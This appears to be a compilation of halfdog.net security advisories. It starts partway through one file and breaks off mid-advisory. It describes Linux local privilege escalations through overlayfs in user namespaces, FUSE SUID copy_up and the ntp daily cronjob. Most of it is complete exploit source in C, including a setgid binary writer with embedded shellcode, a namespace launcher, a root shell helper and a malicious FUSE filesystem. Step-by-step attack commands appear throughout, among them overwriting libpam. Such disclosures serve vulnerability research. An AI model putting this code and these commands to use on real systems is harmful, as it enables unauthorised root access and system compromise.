result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2016/UserNamespaceOverlayfsXattrSetgidPrivilegeEscalation/
## Introduction
### Problem description:
Linux user namespace allows to mount file systems as normal user, including the overlayfs. As many of those features were not designed with namespaces in mind, this increase the attack surface of the Linux kernel interface.
Overlayfs was intended to allow create writeable filesystems when running on readonly medias, e.g. on a live-CD. In such scenario, the lower filesystem contains the read-only data from the medium, the upper filesystem part is mixed with the lower part. This mixture is then presented as an overlayfs at a given mount point. When writing to this overlayfs, the write will only modify the data in upper, which may reside on a tmpfs for that purpose.
Due to inheritance of Posix ACL information (xattrs) when copying up overlayfs files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). On standard Ubuntu system, this allows to gain access to groups staff, mail, libuuid.
## Methods
### Target Selection:
Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are:
/usr/local/lib/python3.4 (root.staff)
/var/lib/libuuid (libuuid.libuuid)
/var/local (root.staff)
/var/mail (root.mail)
### Exploitation:
Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit. The following steps include command variants needed for different operating systems. They have to be executed in two processes, one inside the user namespace, the other one outside of it.
### Inside:
test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c
test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
test$ gcc -o UserNamespaceExec UserNamespaceExec.c
test$ gcc -o SuidExec SuidExec.c
test$ ./UserNamespaceExec -- /bin/bash
root# mkdir mnt test work
root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test overlayfs mnt # Ubuntu Trusty
root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test,workdir=work overlayfs mnt # Ubuntu Wily
### Outside:
test$ setfacl -m d:u:test:rwx test # Ubuntu Trusty
test$ setfacl -m d:u::rwx,d:u:test:rwx work/work # Ubuntu Wily
### Inside:
root# chmod 02777 mnt/[targetdir]
root# umount mnt
### Outside:
test$ ./CreateSetgidBinary test/[targetdir]/escalate /bin/mount x nonexistent-arg
test$ test/[targetdir]/escalate ./SuidExec /bin/bash
test$ touch x
test$ ls -al x
-rw-r--r-- 1 test [targetgroup] 0 Jan 16 20:39 x
--- CreateSetgidBinary.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* This tool allows to create a setgid binary in appropriate directory
* to escalate to the group of this directory.
*
* Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
*
* Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
*
* Example:
*
* # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
* # ls -al ./escalate
* # ./escalate /bin/sh
*
* Copyright (c) 2015-2017 halfdog <me (%) halfdog.net>
* License: https://www.gnu.org/licenses/lgpl-3.0.en.html
*
* See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>
int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
char suidExecMinimalElf[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
};
int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
if(destFd<0) {
fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
return(1);
}
char *suidWriteNext=suidExecMinimalElf;
char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
while(suidWriteNext!=suidWriteEnd) {
char *suidWriteTestPos=suidWriteNext;
while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
suidWriteNext=suidWriteTestPos;
while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
int result=fork();
if(!result) {
struct rlimit limits;
// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
limits.rlim_max=limits.rlim_cur;
setrlimit(RLIMIT_FSIZE, &limits);
// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
limits.rlim_cur=1<<22;
limits.rlim_max=limits.rlim_cur;
result=setrlimit(RLIMIT_AS, &limits);
dup2(destFd, 1);
dup2(destFd, 2);
argv[3]=suidWriteNext;
execve(argv[2], argv+3, NULL);
fprintf(stderr, "Exec failed\n");
return(1);
}
waitpid(result, NULL, 0);
suidWriteNext=suidWriteTestPos;
// ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
}
fprintf(stderr, "Completed\n");
return(0);
}
--- EOF ---
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---
--- SuidExec.c---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/
## Introduction
Problem description: On Ubuntu Wily it is possible to place an USERNS overlayfs mount over a fuse mount. The fuse filesystem may contain SUID binaries, but those cannot be used to gain privileges due to nosuid mount options. But when touching such an SUID binary via overlayfs mount, this will trigger copy_up including all file attributes, thus creating a real SUID binary on the disk.
## Methods
Basic exploitation sequence is:
- Mount fuse filesystem exposing one world writable SUID binary
- Create USERNS
- Mount overlayfs on top of fuse
- Open the SUID binary RDWR in overlayfs, thus triggering copy_up
This can be archived, e.g.
SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)
FuseMinimal (http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/FuseMinimal.c)
UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)
test# mkdir fuse
test# mv SuidExec RealFile
test# ./FuseMinimal fuse
test# ./UserNamespaceExec -- /bin/bash
root# mkdir mnt upper work
root# mount -t overlayfs -o lowerdir=fuse,upperdir=upper,workdir=work overlayfs mnt
root# touch mnt/file
touch: setting times of ‘mnt/file’: Permission denied
root# umount mnt
root# exit
test# fusermount -u fuse
test# ls -al upper/file
-rwsr-xr-x 1 root root 9088 Jan 22 09:18 upper/file
test# upper/file /bin/bash
root# id
uid=0(root) gid=100(users) groups=100(users)
--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* Minimal userspace file system demo, compile using
* gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
*
* See also /usr/include/fuse/fuse.h
*/
#define FUSE_USE_VERSION 28
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static FILE *logFile;
static char *fileNameNormal="/file";
static char *fileNameCharDev="/chardev";
static char *fileNameNormalSubFile="/dir/file";
static char *realFileName="./RealFile";
static int realFileHandle=-1;
static int io_getattr(const char *path, struct stat *stbuf) {
fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
path, stbuf);
fflush(logFile);
int res=-ENOENT;
memset(stbuf, 0, sizeof(struct stat));
if(strcmp(path, "/") == 0) {
stbuf->st_mode=S_IFDIR|0755;
stbuf->st_nlink=2;
res=0;
} else if(strcmp(path, fileNameCharDev)==0) {
// stbuf->st_dev=makedev(5, 2);
stbuf->st_mode=S_IFCHR|0777;
stbuf->st_rdev=makedev(5, 2);
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=100;
res=0;
} else if(strcmp(path, "/dir")==0) {
stbuf->st_mode=S_IFDIR|S_ISGID|0777;
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=1<<12;
res=0;
} else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
if(realFileName) {
if(fstat(realFileHandle, stbuf)) {
fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
realFileName, errno, strerror(errno));
} else {
// Just change uid/suid, which is far more interesting during testing
stbuf->st_mode|=S_ISUID;
stbuf->st_uid=0;
stbuf->st_gid=0;
}
} else {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
}
stbuf->st_nlink=1; // Number of hard links
res=0;
}
return(res);
}
static int io_readlink(const char *path, char *buffer, size_t length) {
fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
path, buffer, (long)length);
fflush(logFile);
return(-1);
}
static int io_unlink(const char *path) {
fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
fflush(logFile);
return(0);
}
static int io_rename(const char *oldPath, const char *newPath) {
fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
oldPath, newPath);
fflush(logFile);
return(0);
}
static int io_chmod(const char *path, mode_t mode) {
fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
fflush(logFile);
return(0);
}
static int io_chown(const char *path, uid_t uid, gid_t gid) {
fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
fflush(logFile);
return(0);
}
/** Open a file. This function checks access permissions and may
* associate a file info structure for future access.
* @returns 0 when open OK
*/
static int io_open(const char *path, struct fuse_file_info *fi) {
fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
fflush(logFile);
return(0);
}
static int io_read(const char *path, char *buffer, size_t length,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
path, buffer, (long)length, (long)offset, fi);
fflush(logFile);
if(length<0) return(-1);
if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
if(!realFileName) {
if((offset<0)||(offset>4)) return(-1);
if(offset+length>4) length=4-offset;
if(length>0) memcpy(buffer, "xxxx", length);
return(length);
}
if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
fprintf(stderr, "read: seek on %s failed\n", path);
return(-1);
}
return(read(realFileHandle, buffer, length));
}
return(-1);
}
static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
path, buf, filler, ((long)offset), fi);
fflush(logFile);
(void) offset;
(void) fi;
if(!strcmp(path, "/")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, fileNameCharDev+1, NULL, 0);
filler(buf, "dir", NULL, 0);
filler(buf, fileNameNormal+1, NULL, 0);
return(0);
} else if(!strcmp(path, "/dir")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, "file", NULL, 0);
return(0);
}
return -ENOENT;
}
static int io_access(const char *path, int mode) {
fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
path, mode);
fflush(logFile);
return(0);
}
static int io_ioctl(const char *path, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data) {
fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
path, cmd, arg, fi, flags, data);
fflush(logFile);
return(0);
}
static struct fuse_operations hello_oper = {
.getattr = io_getattr,
.readlink = io_readlink,
// .getdir = deprecated
// .mknod
// .mkdir
.unlink = io_unlink,
// .rmdir
// .symlink
.rename = io_rename,
// .link
.chmod = io_chmod,
.chown = io_chown,
// .truncate
// .utime
.open = io_open,
.read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
// .listxattr
// .removexattr
// .opendir
.readdir = io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
.access = io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
.ioctl = io_ioctl,
// .poll
};
int main(int argc, char *argv[]) {
char buffer[128];
realFileHandle=open(realFileName, O_RDWR);
if(realFileHandle<0) {
fprintf(stderr, "Failed to open %s\n", realFileName);
exit(1);
}
snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
logFile=fopen(buffer, "a");
if(!logFile) {
fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
return(1);
}
fprintf(logFile, "Starting fuse init\n");
fflush(logFile);
return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/
## Introduction
### Problem description:
The cronjob script bundled with ntp package is intended to perform cleanup on statistics files produced by NTP daemon running with statistics enabled. The script is run as root during the daily cronjobs all operations on the ntp-user controlled statistics directory without switching to user ntp. Thus all steps are performed with root permissions in place.
Due to multiple bugs in the script, a malicious ntp user can make the backup process to overwrite arbitrary files with content controlled by the attacker, thus gaining root privileges. The problematic parts in /etc/cron.daily/ntp are:
find "$statsdir" -type f -mtime +7 -exec rm {} \;
# compress whatever is left to save space
cd "$statsdir"
ls *stats.???????? > /dev/null 2>&1
if [ $? -eq 0 ]; then
# Note that gzip won't compress the file names that
# are hard links to the live/current files, so this
# compresses yesterday and previous, leaving the live
# log alone. We supress the warnings gzip issues
# about not compressing the linked file.
gzip --best --quiet *stats.????????
Relevant targets are:
- find and rm invocation is racy, symlinks on rm
- rm can be invoked with one attacker controlled option
- ls can be invoked with arbitrary number of attacker controlled command line options
- gzip can be invoked with arbitrary number of attacker controlled options
## Methods
### Exploitation Goal:
A sucessful attack should not be mitigated by symlink security restrictions. Thus the general POSIX/Linux design weakness of missing flags/syscalls for safe opening of path without the setfsuid workaround has to be targeted. See FilesystemRecursionAndSymlinks (http://www.halfdog.net/Security/2010/FilesystemRecursionAndSymlinks/) on that.
### Demonstration:
First step is to pass the ls check in the script to trigger gzip, which is more suitable to perform file system changes than ls for executing arbitrary code. As this requires passing command line options to gzip which are not valid for ls, content of statsdir has to be modified exactly in between. This can be easily accomplished by preparing suitable entries in /var/lib/ntp and starting one instance of DirModifyInotify.c (http://www.halfdog.net/Misc/Utils/DirModifyInotify.c) as user ntp:
cd /var/lib/ntp
mkdir astats.01234567 bstats.01234567
# Copy away library, we will have to restore it afterwards. Without
# that, login is disabled on console, via SSH, ...
cp -a -- /lib/x86_64-linux-gnu/libpam.so.0.83.1 .
gzip < /lib/x86_64-linux-gnu/libpam.so.0.83.1 > astats.01234567/libpam.so.0.83.1stats.01234567
./DirModifyInotify --Watch bstats.01234567 --WatchCount 5 --MovePath bstats.01234567 --MoveTarget -drfSstats.01234567 &
With just that in place, DirModifyInotify will react to the actions of ls, move the directory and thus trigger recursive decompression in gzip instead of plain compression. While gzip is running, the directory astats.01234567 has to replaced also to make it overwrite arbitrary files as user root. As gzip will attempt to restore uid/gid of compressed file to new uncompressed version, this will just change the ownership of PAM library to ntp user.
./DirModifyInotify --Watch astats.01234567 --WatchCount 12 --MovePath astats.01234567 --MoveTarget disabled --LinkTarget /lib/x86_64-linux-gnu/
After the daily cron jobs were run once, libpam.so.0.83.1 can be temporarily replaced, e.g. to create a SUID binary for escalation.
LibPam.c (http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/LibPam.c)
SuidExec.c (http://www.halfdog.net/Misc/Utils/SuidExec.c)
gcc -Wall -fPIC -c LibPam.c
ld -shared -Bdynamic LibPam.o -L/lib -lc -o libPam.so
cat libPam.so > /lib/x86_64-linux-gnu/libpam.so.0.83.1
